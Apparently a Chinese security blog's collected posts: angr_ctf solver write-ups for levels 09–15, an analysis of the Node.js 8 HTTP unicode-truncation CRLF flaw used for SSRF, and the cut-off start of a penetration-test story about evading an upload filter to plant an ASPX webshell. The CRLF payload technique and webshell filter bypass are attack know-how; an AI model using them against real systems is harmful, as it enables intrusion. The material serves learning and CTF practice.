  initial_state = project.factory.blank_state(addr=start_address)

  password = claripy.BVS('password', 8*16) # __isoc99_scanf("%16s", &buffer); 

  buffers_address = 0x0804A050 #buffer地址
  initial_state.memory.store(buffers_address, password)

  simulation = project.factory.simgr(initial_state)


  address_to_check_constraint = 0x8048671 #逻辑上,寻找一条路径走向这个地址
  simulation.explore(find=address_to_check_constraint)

  if simulation.found:
    solution_state = simulation.found[0]

    constrained_parameter_address = 0x0804A050 #check参数地址
    constrained_parameter_size_bytes = 0x10 #check参数大小
    constrained_parameter_bitvector = solution_state.memory.load(
      constrained_parameter_address,
      constrained_parameter_size_bytes
    )#把这个地址的值从内存读出来


    constrained_parameter_desired_value = "BWYRUBQCMVSBRGFU" # password值
    solution_state.add_constraints(constrained_parameter_bitvector == constrained_parameter_desired_value)
    #在求解时候,增加一条限制,让答案也需要满足这个约束,这个约束可以绕过很多不必要的分支
    solution = solution_state.se.eval(password,cast_to=bytes) 
    solution = ' '.join(map(bytes.decode, [ solution]))
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

09_angr_hooks

又增加难度了。查看伪代码,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BOOL4 v3; // eax
  int i; // [esp+8h] [ebp-10h]
  int j; // [esp+Ch] [ebp-Ch]
  print_msg();
  qmemcpy(password, "XKSPZSJKJYQCQXZV", 16);
  memset(buffer, 0, 0x11u);
  printf("Enter the password: ");
  __isoc99_scanf("%16s", buffer);
  for ( i = 0; i <= 15; ++i )
    *(_BYTE *)(i + 134520916) = complex_function(*(char *)(i + 134520916), 18 - i);
  equals = check_equals_XKSPZSJKJYQCQXZV(buffer, 16);
  for ( j = 0; j <= 15; ++j )
    *(_BYTE *)(j + 134520900) = complex_function(*(char *)(j + 134520900), j + 9);
  __isoc99_scanf("%16s", buffer);
  v3 = equals && !strncmp(buffer, password, 0x10u);
  equals = v3;
  if ( v3 )
    puts("Good Job.");
  else
    puts("Try again.");
  return 0;
}

这次是需要输入两次,输入中间存在一个逐次比较的函数。新版的angr中已经支持scanf的输入,所以我们不需要去跳过scanf。直接去hook

hook知识

Hook 技术又叫做钩子函数,在系统没有调用该函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递。简单来说,就是把系统的程序拉出来变成我们自己执行代码片段。Hook技术其本质就是劫持函数调用 ;无论对安全软件还是恶意软件都是十分关键的一项技术。但是由于处于Linux 用户态,每个进程都有自己独立的进程空间,所以必须先注入到所要Hook 的进程空间,修改其内存中的进程代码,替换其过程表的符号地址。
我们不需要关心更多的,只需要定义好hook劫持的地址和长度,就可以直接交给angr让其来自动hook,此外也需要自定义被替换的函数。

.text:080486A8                 cmp     [ebp+var_10], 0Fh
.text:080486AC                 jle     short loc_8048673
.text:080486AE                 sub     esp, 8
.text:080486B1                 push    10h
.text:080486B3                 push    offset buffer
.text:080486B8                 call    check_equals_XKSPZSJKJYQCQXZV
.text:080486BD                 add     esp, 10h
.text:080486C0                 mov     ds:equals, eax
.text:080486C5                 mov     [ebp+var_C], 0
.text:080486CC                 jmp     short loc_80486FF

本题目需要劫持就是check_equals_XKSPZSJKJYQCQXZV,修改其逐次比较更新为字符串比较,缩短分支路径。
因此劫持地址应该为0x080486B8,下一条指令为0x080486BD,两条指令直接相差5,所以长度为5。所以劫持代码可以写为:

  check_equals_called_address = 0x080486B8
  instruction_to_skip_length = 5 
  @project.hook(check_equals_called_address, length=instruction_to_skip_length)
  def skip_check_equals_(state):
    user_input_buffer_address = 0x0804A054 #导出这个地址的内容
    user_input_buffer_length = 16
    user_input_string = state.memory.load(
      user_input_buffer_address, 
      user_input_buffer_length
    )

    check_against_string = "XKSPZSJKJYQCQXZV" #password
    #寻找某条支路上的输入满足check_against_string,并且修改eax寄存器
    state.regs.eax = claripy.If(
      user_input_string == check_against_string, 
      claripy.BVV(1, 32), #正确返回1,根据程序逻辑来判断
      claripy.BVV(0, 32)
    )  #

在劫持替换的函数中,使用claripy.If来作为if判断,通过直接比较用户输入和password,返回正确和错误,并赋值给eax寄存器。为什么是eax?可以从ida中逆向得出。
因为这个函数是return true或者false,这个在汇编中就是eax寄存器的体现。

.text:080485DD loc_80485DD:                            ; CODE XREF: check_equals_XKSPZSJKJYQCQXZV+14↑j
.text:080485DD                 mov     eax, [ebp+var_4]
.text:080485E0                 cmp     eax, [ebp+arg_4]
.text:080485E3                 jb      short loc_80485BB
.text:080485E5                 mov     eax, [ebp+var_8]
.text:080485E8                 cmp     eax, [ebp+arg_4]
.text:080485EB                 setz    al
.text:080485EE                 movzx   eax, al #返回值
.text:080485F1                 leave
.text:080485F2                 retn
.text:080485F2 ; } // starts at 80485A5

最后综合代码:

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./09_angr_hooks"
  project = angr.Project(path_to_binary)

  # 新版本的angr能过处理这种scanf的请求了
  initial_state = project.factory.entry_state()

  # 但是任然有路径爆炸问题,这题使用hook来执行我们自定义的判断逻辑
  check_equals_called_address = 0x080486B8
  instruction_to_skip_length = 5 

  '''
  .text:080486B8                 call    check_equals_XKSPZSJKJYQCQXZV
  .text:080486BD                 add     esp, 10h
  从080486B8 到 080486BD,五条指令的长度
  '''

  @project.hook(check_equals_called_address, length=instruction_to_skip_length)
  def skip_check_equals_(state):
    user_input_buffer_address = 0x0804A054 #导出这个地址的内容
    user_input_buffer_length = 16
    user_input_string = state.memory.load(
      user_input_buffer_address, 
      user_input_buffer_length
    )

    check_against_string = "XKSPZSJKJYQCQXZV" #password
    #寻找某条支路上的输入满足check_against_string,并且修改eax寄存器
    state.regs.eax = claripy.If(
      user_input_string == check_against_string, 
      claripy.BVV(1, 32), #正确返回1,根据程序逻辑来判断
      claripy.BVV(0, 32)
    )  #重写了判断逻辑,修改程序逐字符比较

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]
    solution = solution_state.posix.dumps(sys.stdin.fileno())
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

10_angr_simprocedures

又变难了。这次,看代码和上一题差不多,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+20h] [ebp-28h]
  char s[17]; // [esp+2Bh] [ebp-1Dh] BYREF
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  print_msg();
  memcpy(&password, "WQNDNKKWAWOLXBAC", 0x10u);
  memset(s, 0, sizeof(s));
  printf("Enter the password: ");
  __isoc99_scanf("%16s", s);
  for ( i = 0; i <= 15; ++i )
    s[i] = complex_function(s[i], 18 - i);
  if ( check_equals_WQNDNKKWAWOLXBAC((int)s, 0x10u) )
    puts("Good Job.");
  else
    puts("Try again.");
  return 0;
}

但是存在很多调用check_equals_WQNDNKKWAWOLXBAC的地址,就搞得你不知道怎么hook这个check_equals_WQNDNKKWAWOLXBAC的地址。
image.png
因此,angr是直接把check_equals_WQNDNKKWAWOLXBAC重写。

SimProcedure

SimProcedure是angr中的一个高级功能,用来编写特定的钩子功能。
参考:SimProcedures编写指南

    例子如下
    int add_if_positive(int a, int b) {
      if (a >= 0 && b >= 0) return a + b;
      else return 0;
    }

    转换成angr的SimProcedure

    class ReplacementAddIfPositive(angr.SimProcedure):
      def run(self, a, b):
        if a >= 0 and b >=0:
          return a + b
        else:
          return 0

    而实验中的函数原型为
    int check_equals_AABBCCDDEEFFGGHH(char* to_check, int length) { ...}

最后代码

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./10_angr_simprocedures"
  project = angr.Project(path_to_binary)

  initial_state = project.factory.entry_state()

  # 使用angr的SimProcedure,
  class ReplacementCheckEquals(angr.SimProcedure):
    # 例子如下
    #
    # int add_if_positive(int a, int b) {
    #   if (a >= 0 && b >= 0) return a + b;
    #   else return 0;
    # }
    #
    # 转换成angr的SimProcedure
    #
    # class ReplacementAddIfPositive(angr.SimProcedure):
    #   def run(self, a, b):
    #     if a >= 0 and b >=0:
    #       return a + b
    #     else:
    #       return 0
    #
    # 而实验中的函数原型为
    # int check_equals_AABBCCDDEEFFGGHH(char* to_check, int length) { ...
    # (!)
    def run(self, to_check, length):

      user_input_buffer_address = to_check  #传入的地址 ,对应着函数原型
      user_input_buffer_length = length #长度

      user_input_string = self.state.memory.load(
        user_input_buffer_address,
        user_input_buffer_length
      )

      check_against_string = "WQNDNKKWAWOLXBAC"

      # 因为是SimProcedure来模拟,所以不需要修改eax,直接返回判断值
      return claripy.If(
        user_input_string == check_against_string, 
        claripy.BVV(1, 32), 
        claripy.BVV(0, 32))


  # 最后把hook_symbol令hook与之关联
  #check_equals_symbol = "check_equals_WQNDNKKWAWOLXBAC" # :string
  #project.hook_symbol(check_equals_symbol, ReplacementCheckEquals())

  #或者使用hook
  project.hook(0x080485F5, ReplacementCheckEquals())

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]
    solution = solution_state.posix.dumps(0)#打印出这时候的输入
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

11_angr_sim_scanf

查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+20h] [ebp-28h]
  char s[20]; // [esp+28h] [ebp-20h] BYREF
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  print_msg();
  memset(s, 0, sizeof(s));
  qmemcpy(s, "DCLUESMR", 8);
  for ( i = 0; i <= 7; ++i )
    s[i] = complex_function(s[i], i);
  printf("Enter the password: ");
  __isoc99_scanf("%u %u", buffer0, buffer1);
  if ( !strncmp(buffer0, s, 4u) && !strncmp(buffer1, &s[4], 4u) )
    puts("Good Job.");
  else
    puts("Try again.");
  return 0;
}

这题看起来不难,因为angr对多个参数的scanf并不支持,并且这里也不能直接跳过scanf赋值,因为前面包含了密钥的生成,如果跳过,那么就会输入空也会进入Good job,如采用跳过scanf函数,打印出的密钥为空
image.png
因此这里可以使用hook,劫持一个scanf函数,让他一个一个的读取。

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./11_angr_sim_scanf"
  project = angr.Project(path_to_binary)

  initial_state = project.factory.entry_state()

  class ReplacementScanf(angr.SimProcedure):
    # __isoc99_scanf("%u %u", buffer0, buffer1);
    def run(self, format_string, param0,param1):
      scanf0 = claripy.BVS('scanf0', 32)#ida为代码中的比较只取了4个字符,4*8
      scanf1 = claripy.BVS('scanf1', 32)
      scanf0_address = param0
      self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
      scanf1_address = param1
      self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)

      self.state.globals['solutions'] = (scanf0,scanf1)

  scanf_symbol = "__isoc99_scanf"
  project.hook_symbol(scanf_symbol, ReplacementScanf())

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]

    stored_solutions = solution_state.globals['solutions']
    #这里用了一个map,双重map来转换
    solution = ' '.join(map(str, map(solution_state.se.eval, stored_solutions)))
    ic(solution_state.posix.dumps(1)) #打印Good Job输出
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

因为新版的angr更新了对scanf的操作,所以这题可以更加简单。直接find地址就好了

import angr 
from icecream import ic 
import sys

def solution_angr():
    project = angr.Project('./11_angr_sim_scanf')
    initial_state = project.factory.entry_state()
    simulation = project.factory.simgr(initial_state) 
    print_good_address = 0x0804FCA6 
    bad_address = 0x0804FC8F
    ic(simulation.explore(find=print_good_address,avoid=bad_address))
    if simulation.found:
        solution_state = simulation.found[0]
        ic(bytes.decode(solution_state.posix.dumps(0)))
        ic(solution_state.posix.dumps(1))
solution_angr()

12_angr_veritesting

Veritesting 的技术解决路径爆炸问题,试图识别出有用的合并点来解决路径爆炸问题。
在本题中,因为循环内存在if,就有可能导致路径爆炸

  for ( i = 0; i <= 31; ++i )
  {
    v3 = *(v19 + i + 3);
    if ( v3 == complex_function(87, i + 186) )
      ++v15;
  }

因此可以在创建 SimulationManager 时通过 veritesting=True 来开启Veritesting技术。其原理是由这篇论文实现。

import angr 
from icecream import ic 
import sys

def solution_angr():
    project = angr.Project('./12_angr_veritesting') 
    initial_state = project.factory.entry_state() 
    simulation = project.factory.simgr(initial_state,veritesting=True) #开启veritesting
    print_good_address = 0x08048684 
    bad_address = 0x08048696
    ic(simulation.explore(find=print_good_address,avoid=bad_address))
    if simulation.found:
        solution_state = simulation.found[0]
        ic(sys.stdin.fileno())
        ic(solution_state.posix.dumps(0))
solution_angr()

Veritesting技术

这篇论文
待更新,阅读论文

13_angr_static_binary

使用file查看文件,由statically linked可知是静态链接

~/桌/OS> file 13_angr_static_binary 
13_angr_static_binary: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=9d40ac2fcf37843b7d109bcf9c32722e09987cb2, not stripped

查看angr支持的angr.SIM_PROCEDURES,可以看到内置全部的函数库

>>> import angr
>>> angr.SIM_PROCEDURES

这个hook替换,我的理解是,程序需要走到哪一步,其路径上用了哪些函数,则我们需要hook掉那些 。
譬如这题中,程序从start出发,调用_libc_start_main来进入main函数

  _libc_start_main((int (__cdecl *)(int, char **, char **))main, v2, &retaddr, _libc_csu_init, _libc_csu_fini, a2, &v3);

所以第一个hook掉的应该是_libc_start_main

project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())

跟进main函数,我们只需要到达Good Job这个分支就好了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+1Ch] [ebp-3Ch]
  int j; // [esp+20h] [ebp-38h]
  char s1[20]; // [esp+24h] [ebp-34h] BYREF
  char s2[20]; // [esp+38h] [ebp-20h] BYREF
  unsigned int v8; // [esp+4Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  print_msg();
  for ( i = 0; i <= 19; ++i )
    s2[i] = 0;
  qmemcpy(s2, "LJVNEPAU", 8);
  printf((int)"Enter the password: ");
  _isoc99_scanf("%8s", s1);
  for ( j = 0; j <= 7; ++j )
    s1[j] = complex_function(s1[j], j);
  if ( !strcmp(s1, s2) )
    puts((int)"Good Job.");
  else
    puts((int)"Try again.");
  return 0;
}

发现printf、_isoc99_scanf、puts都是自写的。但strcmp却不是,strcmp函数是在.plt段,是属于外部链接。

.plt:08048280 jmp     ds:off_80EA038

所以我们只需要hook掉printf、_isoc99_scanf、puts。

import angr 
from icecream import ic 
import sys

def main():
    project = angr.Project('./13_angr_static_binary') 
    initial_state = project.factory.entry_state() 
    project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
    project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
    project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
    project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())
    simulation = project.factory.simgr(initial_state) 
    print_good_address = 0x080489E1
    bad_address = 0x080489CF
    ic(simulation.explore(find=print_good_address,avoid=bad_address))#寻找走到good_address,避免bad,等于我们写的约束条件规则
    if simulation.found:
        solution_state = simulation.found[0]
        ic(sys.stdin.fileno())
        ic(solution_state.posix.dumps(0))
main()

14_angr_shared_library

又来了。这次题目把验证密码的函数放到了程序外部链接库。其中这个validate在lib14_angr_shared_library.so中定义:其地址是000006D7。由于程序没有开启pie,所以默认的基地址是0x4000000。

~/桌/OS> checksec 14_angr_shared_library 
[*] '/home/walkerrevll/\xe6\xa1\x8c\xe9\x9d\xa2/OS/14_angr_shared_library'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

按照约定,共享库的地址是base + offset。offset则是共享库中validate的地址0x06d7。因此我们可以使用call_state来调用这个外部链接的函数地址。对于 .call_state(addr, arg1, arg2, ...),addr 是希望调用的函数地址,argN 是传递给函数的 N 个参数。
看伪代码,validate有两个参数,使用claripy。BVV生成对应的长度的符号值。
但是

validate(char *s1, int a2)  # validate函数伪代码
#angr call_state写法
buffer_adder = claripy.BVV(0x2000000,32)
length = claripy.BVV(8,32)
initial_state = project.factory.call_state(validate_function_address, buffer_adder,length)

最终代码

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./lib14_angr_shared_library.so" #直接跑so外部库
  base = 0x4000000
  project = angr.Project(path_to_binary, load_options={ 
    'main_opts' : { 
      'custom_base_addr' : base #调用地址
    } 
  })

  validate_function_address = base + 0x6D7  #外部库的地址是基地址+偏移地址
  buffer_adder = claripy.BVV(0x2000000,32) #设一个虚拟地址
  length = claripy.BVV(8,32) 
  #调用validate地址,传入对应参数
  initial_state = project.factory.call_state(validate_function_address, buffer_adder,length)

  password = claripy.BVS('password', 8*8) #生成符号值
  initial_state.memory.store(buffer_adder, password) #往这个地址写入,传入符号值
  simulation = project.factory.simgr(initial_state)

  success_address = base + 0x783 # validate跳转成功的地址
  simulation.explore(find=success_address)

  if simulation.found:
    solution_state = simulation.found[0]
    solution_state.add_constraints(solution_state.regs.eax == 1) #eax寄存器为真,return 1

    solution = solution_state.se.eval(password,cast_to=bytes)
    ic(bytes.decode(solution))
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

纠正

经过朋友捉虫,发现把代码的base地址0x4000000改成任意的地址,都能跑出正确的flag。因此可见,这个外部库的代码地址,并不是由base + offset确定的,而是直接通过offset来确定的。angr直接是模拟外部so库,只需要知道so库里面的偏移地址就能调用各个函数代码,而不是像程序,程序是使用外部so库时候会返回一个base,通过base+offset来确定。

15_angr_arbitrary_read

有点栈溢出的感觉了。目的是溢出控制s,打印出Good Job。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Ch] [ebp-1Ch] BYREF
  char *s; // [esp+1Ch] [ebp-Ch]

  s = try_again;
  print_msg();
  printf("Enter the password: ");
  __isoc99_scanf("%u %20s", &key, &v4);
  if ( key == 19511649 )
    puts(s);
  else
    puts(try_again);
  return 0;
}

搜索字符串发现,GoodJob这个在594E4257
image.png
按照计算机大端小端来计算溢出覆盖地址应该是0x57424E59即是为WBNY。
按照__isoc99_scanf("%u %20s", &key, &v4); 输入了20个字符,而v4只取了0x1c-0xc=0x10,也就是16个字符。如果输入多几个字符就会覆盖ebp中的s的位置

gdb中调试,可以看到esop栈顶已经是good job的地址了
19511649 AAAABAABBBAAAAAAWBNY
JPY6GD%M$DSO@QNX%MFPVC8.png
最后使用angr解决

import angr
import claripy
import sys

def main():
  path_to_binary = "./15_angr_arbitrary_read"
  project = angr.Project(path_to_binary)
  initial_state = project.factory.entry_state()
  class ReplacementScanf(angr.SimProcedure):
    # scanf("%u %20s") 两个参数
    def run(self, format_string, param0, param1):
      # %u
      scanf0 = claripy.BVS('scanf0', 32)
      # %20s
      scanf1 = claripy.BVS('scanf1', 20*8)

      for char in scanf1.chop(bits=8): #生成bvs的条件限制,A-Z
        self.state.add_constraints(char >= 'A', char <= "Z")
      scanf0_address = param0
      self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
      scanf1_address = param1
      self.state.memory.store(scanf1_address, scanf1) #写入内存中 scanf1不能加project.arch.memory_endness,否则会倒着输出
      #取出来
      self.state.globals['solutions'] = (scanf0,scanf1)

  scanf_symbol = "__isoc99_scanf"  
  project.hook_symbol(scanf_symbol, ReplacementScanf())

  def check_puts(state):
    #读取esp+4的,大小4,地址
    puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness)
    if state.se.symbolic(puts_parameter):
      good_job_string_address = 0x594e4257 #good job的地址
      state.add_constraints(puts_parameter == good_job_string_address) #让fuzz的地址跳转到good
      return True
    else: 
      return False

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    puts_address = 0x8048370
    if state.addr == puts_address:
      return check_puts(state)
    else:
      return False
  simulation.explore(find=is_successful)

  if simulation.found:
    solution_state = simulation.found[0]
    (scanf0, scanf1) = solution_state.globals['solutions']
    solution = str(solution_state.se.eval(scanf0)) + ' ' + bytes.decode(solution_state.se.eval(scanf1,cast_to=bytes))
    print(solution)
    print(solution_state.posix.dumps(1))
    print(project.arch.memory_endness)
  else:
    print('Could not find the solution')

if __name__ == '__main__':
  main()

小问题:

在写入内存中 scanf1不能加project.arch.memory_endness,否则会倒着输出
image.png
去掉就正常输出
image.png
我也不知道为什么。我猜想是写的时候是project.arch.memory_endness,然后读取出来的时候,又做了一次project.arch.memory_endness,因此就是倒着的。所以可以取消。(当然是我猜测

NodeJs V8 CRLF

起初是看赵今大佬,发的虎符 CTF2021 wp。链接在此:https://www.zhaoj.in/read-6905.html

感觉这题目很有意思,出题的思路是利用:

NodeJs V8中的http存在Crlf漏洞,因为axios依赖http库,所以导致可以构造crlf来进行POST并且ssrf内网应用。

更多题目相关的东西,在赵今大佬的WP上更为详细,此篇文章就纯粹在复现学习中遇到的一些思考和研究。

crlf

首先,CRLF 指的是回车符换行符,操作系统就是根据这个标识来进行换行的。

CRLF注入漏洞检测,基本是通过修改HTTP参数,注入恶意畸形的数据,最后查看构造的恶意数据是否注入在响应头内。

如:

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

这是一个过滤不严格导致的可以输入%0D%0A这两个字符制造换行效果的漏洞。

个人觉得,这种问题绝大多数都是后端代码所依赖的请求库未对恶意数据进行编码过滤导致的。

NodeJs V8 CRLF

该漏洞是由于Node.js版本8的http库处理unicode字符时候产生了错误。正常来说,当尝试发送一个路径含有控制字符的HTTP请求,它们将会被编码或者过滤:

> http.get('http://example.com/\r\n/test')
[ 'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n']

但是范围在[6.0.0, 6.15.0) 和 [8.0.0, 8.14.0) 版本以内的nodejs都存在这个问题,也就是在处理unicode字符的时候,http包默认使用了latin1单字节编码,但是但是unicode却是多字节编码,因此在处理的时候,就会进行截断。

> Buffer.from('\u{0130}','latin1')
<Buffer 30>   =>   变成了\u30
> Buffer.from('\u{0131}','latin1')
<Buffer 31>   =>   变成了\u31

我们看看nodejs 8的源码,下载地址https://nodejs.org/download/release/v8.0.0/

nodejs下http有清晰的源码架构

Node源码解析: https://www.sweetalkos.com/post/184

  1. _http_agent.js: 对应Agent类,负责管理http客户端的连接持久性和重用。
  2. _http_client.js: 对应http.ClientRequest类,负责正在进行中的请求实现。
  3. _http_server.js: 对应http.Server类和http.ServerResponse类,负责服务器和服务器响应实现。
  4. _http_incoming.js: 对应http.IncomingMessage类,两端回调的res继承该类。
  5. _http_outgoing.js: 对应http.OutgoingMessage类,两端回调的req继承该类。
  6. _http_common.js: 负责提供上面各个http子模块都会用到的通用方法,比如http解析。

着重看_http_client.js,因为我们只是想知道它如何导致了unicode高位截断。

Example:http://127.0.0.1:8888/?param=x\u{0120}HTTP/1.1

_http_client.js最核心为ClientRequest函数,使用了url.parse来解析传入的example

function ClientRequest(options, cb) {
  OutgoingMessage.call(this);

  if (typeof options === 'string') {
    options = url.parse(options);//解析
    if (!options.hostname) {
      throw new Error('Unable to determine the domain name');
    }
  } else if (options && options[searchParamsSymbol] &&
             options[searchParamsSymbol][searchParamsSymbol]) {
    // url.URL instance
    options = urlToOptions(options);
  } else {
    options = util._extend({}, options);
  }

  var agent = options.agent;
  var defaultAgent = options._defaultAgent || Agent.globalAgent;
  ......

会根据对应的规则来解析出protocol、host、port、hostname等。

> url.parse('http://127.0.0.1:8888/?param=x\u{0120}HTTP/1.1')
Url {
  protocol: 'http:',
  slashes: true,
  auth: null,
  host: '127.0.0.1:8888',
  port: '8888',
  hostname: '127.0.0.1',
  hash: null,
  search: '?param=xĠHTTP/1.1',
  query: 'param=xĠHTTP/1.1',
  pathname: '/',
  path: '/?param=xĠHTTP/1.1',
  href: 'http://127.0.0.1:8888/?param=xĠHTTP/1.1'
}

继续跟进,往下都是一些不合法的HTTP参数的限制

var path;
  if (options.path) {
    path = '' + options.path;
    var invalidPath;
    if (path.length <= 39) { // Determined experimentally in V8 5.4
      invalidPath = isInvalidPath(path);
    } else {
      invalidPath = /[\u0000-\u0020]/.test(path);
    }
    if (invalidPath)
      throw new TypeError('Request path contains unescaped characters');
  }

  if (protocol !== expectedProtocol) {
    throw new Error('Protocol "' + protocol + '" not supported. ' +
                    'Expected "' + expectedProtocol + '"');
  }

细心的发现,这里有一个invalidPath的处理,如何检测到 /[\u0000-\u0020]/,就会抛出异常。

在官方GitHub的源码,这个位置,加了一处校验代码。https://github.com/nodejs/node/blob/v8.x/lib/_http_client.js

const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;
......
if (options.path) {
    path = String(options.path);
    var invalidPath;
    if (REVERT_CVE_2018_12116) {//加了一处判断条件
      if (path.length <= 39) { // Determined experimentally in V8 5.4
        invalidPath = isInvalidPath(path);
      } else {
        invalidPath = /[\u0000-\u0020]/.test(path);
      }
    } else {
      invalidPath = INVALID_PATH_REGEX.test(path);//使用了另一个正则
    }

一旦检测到\u0021-\u00ff或者/[\u0000-\u0020]/就会报错。

即使这样我觉得还是没完全修复,为什么呢?上面我们说到 latin1单字节编码,unicode是多字节,即使你过滤了\u0000\u00ff 但是由于多字节编码转单字节编码会被截断,所以我完全可以用\u1120 等其他unicode的来绕过你的限制,只要保证我截断之后是我想要的就可以。

因此这就是那个漏洞的原因:为什么在使用unicode编码时是\u{01xx}而不是\u{00xx}

但是现在最新的node,会在处理之前对其url编码(v12)https://github.com/nodejs/node/blob/master/lib/_http_client.js

所以这个问题只存在版本8以下。继续跟进,来到210行,

this._storeHeader(this.method + ' ' + this.path + ' HTTP/1.1\r\n',
                      options.headers);

准备写入header头,跟进_storeHeader,在node-v8.0.0\lib_http_outgoing.js文件下

此时我们的恶意path在第一个参数,而_storeHeader的第一个入参为firstLine,并写进state中

function _storeHeader(firstLine, headers) {
  // firstLine in the case of request is: 'GET /index.html HTTP/1.1\r\n'
  // in the case of response it is: 'HTTP/1.1 200 OK\r\n'
  var state = {
    connection: false,
    connUpgrade: false,
    contLen: false,
    te: false,
    date: false,
    expect: false,
    trailer: false,
    upgrade: false,
    header: firstLine
  };
    .....
    if (headers === this[outHeadersKey]) {
    for (key in headers) {
      var entry = headers[key];
      field = entry[0];
      value = entry[1];

      if (value instanceof Array) {
        if (value.length < 2 || !isCookieField(field)) {
          for (j = 0; j < value.length; j++)
            storeHeader(this, state, field, value[j], false);//写入header头
          continue;
        }
        value = value.join('; ');
      }
   ......

   if (state.expect) this._send('');//发送
   }

所以紧跟state,storeHeader中有一个过滤的函数

function escapeHeaderValue(value) {
  // Protect against response splitting. The regex test is there to
  // minimize the performance impact in the common case.
  return /[\r\n]/.test(value) ? value.replace(/[\r\n]+[ \t]*/g, '') : value;
}//这里吧\r\n给过滤了。

function storeHeader(self, state, key, value, validate) {
  if (validate) {
    if (typeof key !== 'string' || !key || !checkIsHttpToken(key)) {
      throw new TypeError(
        'Header name must be a valid HTTP Token ["' + key + '"]');
    }
    if (value === undefined) {
      throw new Error('Header "%s" value must not be undefined', key);
    } else if (checkInvalidHeaderChar(value)) {
      debug('Header "%s" contains invalid characters', key);
      throw new TypeError('The header content contains invalid characters');
    }
  }
  state.header += key + ': ' + escapeHeaderValue(value) + CRLF;//过滤了一些东西
  matchHeader(self, state, key, value);//
}

其余都是一些补全http的一些状态信息,直接快进到发送

OutgoingMessage.prototype._send = function _send(data, encoding, callback) {
  // This is a shameful hack to get the headers and first body chunk onto
  // the same packet. Future versions of Node are going to take care of
  // this at a lower level and in a more general way.
  if (!this._headerSent) {
    if (typeof data === 'string' &&
        (encoding === 'utf8' || encoding === 'latin1' || !encoding)) {
      data = this._header + data;
    } else {
      var header = this._header;
      if (this.output.length === 0) {
        this.output = [header];
        this.outputEncodings = ['latin1'];
        this.outputCallbacks = [null];
      } else {
        this.output.unshift(header);
        this.outputEncodings.unshift('latin1');
        this.outputCallbacks.unshift(null);
      }
      this.outputSize += header.length;
      this._onPendingData(header.length);
    }
    this._headerSent = true;
  }
  return this._writeRaw(data, encoding, callback);
};//之后就是通讯模型的发包,原始字节输出。

再此之前必须转为原始字节输出,而nodejs又是以latin1作为默认编码,但是unicode却是多字节编码,因此在处理的时候,就会进行截断。

axios

话又说回来,axios又是从哪里引入了http?才导致这个缺陷的呢?

这篇axios源码解析文章非常棒,思路很清晰 https://lxchuan12.gitee.io/axios/

我也在文中找到了答案,因为axios是根据当前环境引入,如果是浏览器环境引入xhr,是node环境则引入http。正是在这里,如果axios引入了带有问题的http库,那么就可以导致crlf。

一次项目渗透实战

19年的某次项目,回顾时候放出来做博客文章。

1. 后台getshell绕过

存在某处上传

这里发现上传任意文件,但是会检测文件内容,上传的不能带有eval。带有就会返回为空,不提交。

大致思路可以有:写一个文件保存的aspx,然后去访问,就可以再根目录生成一个aspx文件。不过这里很蛋疼,这个同样会检测,如果你代码里面写了eval,就会失败。这里我把eval做了一个数组,然后提交

代码如下:

<%@ WebHandler Language="C#" class="Handler" %>  
eval  
using System;  
using System.Web;  
using System.IO;  
